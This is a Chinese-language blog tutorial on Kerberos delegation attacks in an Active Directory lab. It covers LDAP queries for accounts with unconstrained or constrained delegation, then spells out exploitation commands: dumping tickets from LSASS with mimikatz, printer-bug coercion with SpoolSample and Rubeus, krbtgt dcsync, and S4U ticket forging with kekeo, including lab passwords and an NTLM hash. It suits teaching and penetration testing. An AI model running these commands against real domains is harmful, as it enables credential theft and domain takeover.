前言
本文是观看了谢公子的文章和by七友这两位师傅的文章之后写的,他们的文章对我的帮助实在是太大了。
非约束委派和约束委派攻击
我们知道委派是基于服务的,在域内找服务一般通过SPN来寻找,这里我们可以先为用户注册一个SPN服务。
setspn -A http/nginx user0x1
非约束性委派(Unconstrained Delegation):对于非约束性委派(Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl 属性有个FLAG位 TRUSTED_FOR_DELEGATION。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。
约束性委派(Constrained Delegation):由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。
非约束委派的查找
ldapsearch
kali上自带,适合在域外查询这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可这个测试环境中,我们获得了域内普通用户user0x1的口令为q123456.
连接命令如下:
查找域中配置非约束委派的用户:
过滤条件
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非约束委派的主机:
注:域控主机账户默认开启非约束委派
过滤条件
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机
ADFind
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
PowerView
查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain networksec.loacl |select name
查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain networksec.loacl
查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
约束委派的查找
ldapsearch
查找域中配置约束委派用户
过滤条件
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
查找域中配置约束委派的主机:
过滤条件
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x2,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
ADFind
查找域中配置约束委派用户
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置约束委派的主机:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView
注:Powerview有两个版本,一个在dev分支,一个在master分支
查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain networksec.loacl -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
非约束委派的利用
概述
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):
上图的Kerberos请求描述分为如下步骤:(微软文档地址如下)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
1.用户向KDC发送KRB_AS_REQ消息请求可转发的TGT1。
2.KDC在KRB_AS_REP消息中返回TGT1。
3.用户根据步骤2中的TGT1请求转发TGT2。
4.KDC在KRB_TGS_REP消息中为user返回TGT2。
5.用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
6.TGS在KRB_TGS_REP消息中返回给用户service1的ST。
7.用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
8.service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
9.KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
10.service1通过KRB_AP_REQ以用户的名义向service2发出请求。
11.service2响应service1的请求。
12.有了这个响应,service1就可以在步骤7中响应用户的请求。
13.这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
14.KDC返回步骤13中请求的ST
15.15和16 步骤service1以用户的名义来请求其它服务
注:TGT1(forwardable TGT)用于访问Service1,TGT2(forwarded TGT)用于访问Service2
操作环境:
域:networksec.loacl
域控:windows server 2012R2,主机名:dc,IP:172.16.25.242,用户:administrator
域内主机:windows server 2012R2,主机名:user,IP:172.16.25.241,用户:user0x1
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
现在我们将user这个主机用户设置为非约束委派
要确认/查找域中具有不受限制的Kerberos授权属性集的计算机,这个命令需要有安装AD的情况下。如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .Microsoft.ActiveDirectory.Management.dll请执行以下操作:
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
然后我们以administrator的身份通过WinRM服务远程连接user机器
注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了。在administrator主机上利用 Enter-PSSession -ComputerName zhangsan命令连接到user0x1,此时域控上登陆的用户为域管administrator,通过查询IP发现当前shell的IP变成了user0x1机器的IP,可以理解成administrator委派user0x1代表自己在对zhangsan进行操作。
Enter-PSSession -ComputerName user
这个时候已经有了票据了,登录到user这台机器上面,通过mimikatz可以导出Administrator发送过来的TGT内容。这里需要使用管理员权限打开mimikatz,然后通过privilege::debug命令提升权限,如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。再使用sekurlsa::tickets /export命令导出内存中所有的票据。
privilege::debug
sekurlsa::tickets /export
接着就可以看到一开始我们是不可以访问到域控制器的,接着通过把刚刚提取出来的票据。我们就可以访问到域控制器了。
接着就可以通过WinRM远程控制登录到域控制器了。
非约束委派+Spooler打印机服务
非约束委派单纯利用起来还是有点靠运气的,需要管理员主动链接留下高权限的TGT才能够利用,在实战中还是要靠运气,就有点像盲打XSS一样。靠打管理员的后台COOKIE来登录后台一样。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
环境
域: networksec.loacl
域控:系统:Windows server 2012R2, 主机名: DC, IP: 172.16.25.242
域内主机:系统:Windows server 2012R2,主机名:user,ip:172.16.25.233
请求过程如下:
Print Spooler服务默认是自动运行的
这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限,这里我这是一天USER为非约束委派的机器。
注:是主机账户开启非约束委派,而不是服务用户
tifkin_在他的github上开源了POC:
https://github.com/leechristensen/SpoolSample
https://github.com/shanfenglan/test/tree/master/spooler 这个已经打包好了
向DC的Spooler服务发送请求,强制其访问USER进行身份验证
SpoolSample.exe DC USER
我直接用本地的管理员账号打开一个cmd,直接运行命令。如果不用高权限运行的话会报错
Rubeus.exe monitor /interval:5 /filteruser:DC$
我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
/interval:5 设置监听间隔5秒
/filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
这里我Rubeus监听票据失败了,不知道是什么原因,这里用两张harmj0y博客里面的图
Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中
Rubeus.exe describe /ticket:base64
Rubeus.exe ptt /ticket:base64
mimikatz.exe "lsadump::dcsync /domain:networksec.loacl /user:DCkrbtgt"
当然base64的TGT也可以转为票据,我们先复制Rubeus监听到的TGT的base64,然后直接用powershell转到为正常的TGT即可。接着就传递票据即可。
[IO.File]::WriteAllBytes("绝对路径TGSticket.kirbi", [Convert]::FromBase64String("得到的base64"))
可以查看到日志信息,有监听到事件ID 4624登录成功。
约束委派的利用
概述
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self和S4U2proxy的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程
上图的Kerberos请求描述分为如下步骤:(微软稳定地址如下)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
1.用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2.通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3.KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4.service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
5.注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
6.用户向service1发出请求,service1需要以用户身份访问service2上的资源。
7.service1以用户的名义向KDC请求用户访问service2的ST2
8.如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
9.service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
10.service2响应步骤8的请求。
11.service1响应用户对步骤5中的请求。
操作环境:
域:networksec.loacl
域控:windows server 2012R2,主机名:dc,IP:172.16.25.242,用户:administrator
域内主机:windows server 2012R2,主机名:user,IP:172.16.25.233,用户:user0x2
域内主机:windows server 2012R2,主机名:user1,IP:172.16.25.241,用户:user0x1
攻击流程:
1.服务1 使用自己的hash向KDC申请一个TGT票据,注意在KDC Option里面选择forwardable标志位,这样的话请求的TGT票据就是可转发的TGT票据。命令:tgt::ask /user:user0x2 /domain:networksec.loacl /password:password. /ticket:test.kirbi
2.服务1 代表用户申请一个获得针对服务1自身的ST服务票据(这一步就是S4U2Self),这一步生成的ST服务票据是可转发的
3.服务1 拿着上一步这个ST服务票据向KDC请求访问特定服务的可转发的TGS(S4U2Proxy),并且代表用户访问特定服务,而且只能访问该特定服务。第2/3步的命令:Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/user0x2.networksec.loacl
DC是域内的域控制器,下面我们设置了服务用户user0x2对DC的cifs服务的委派,这里创建创建SPN服务的命令
setspn -A http/iis user0x2 #windows注册服务账户(域控才可以)
setspn -u lisi #可以查询lisi的spn
概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT,首先查询域内配置了约束性委派的服务账号。
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:user0x2 /domain:networksec.loacl /password:q123456. /ticket:wptgt.kirbi
如果已知的是服务账号的NTLM Hash,则如下
tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
参数:
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户TGT:[email protected][email protected]
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问user0x3 cifs的ST
Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/user.networksec.loacl
S4U2Self获取到的ST1以及S4U2Proxy获取到的user0x3 CIFS服务的ST2会保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt [email protected]@[email protected]
成功访问到域控的cifs服务,这样整一个委派约束的攻击就完成了。
上面提到过kekeo是可以通过NTLM密文来进行获取票据的,请求服务用户的TGT那步直接把/password改成/NTLM即可
已知我们服务账号user0x2的NTLM hash是8f36f32a9708e03a03461eb87280dd0b
tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:8f36f32a9708e03a03461eb87280dd0b
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dc.networksec.loacl
接着把票据加载进入到内存中。
kerberos::ptt [email protected]@[email protected]
如果明文密码和NTLM Hash都不知道,但是得到了服务账号所在主机的权限。例如这里可以看到有一个
那么,我们可以利用mimikatz从内存中将票据导出来,然后再执行
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
这里已经把票据请求出来了,就不用再去ask请求TGT票据了
tgs::s4u /tgt:[0;4225b][email protected] /user:[email protected] /service:cifs/dc.networksec.loacl
这一步操作就是和上面的一样,把票据导入。
kerberos::ptt [email protected]@[email protected]
本文始发于微信公众号(黑白天实验室):非约束委派和约束委派攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论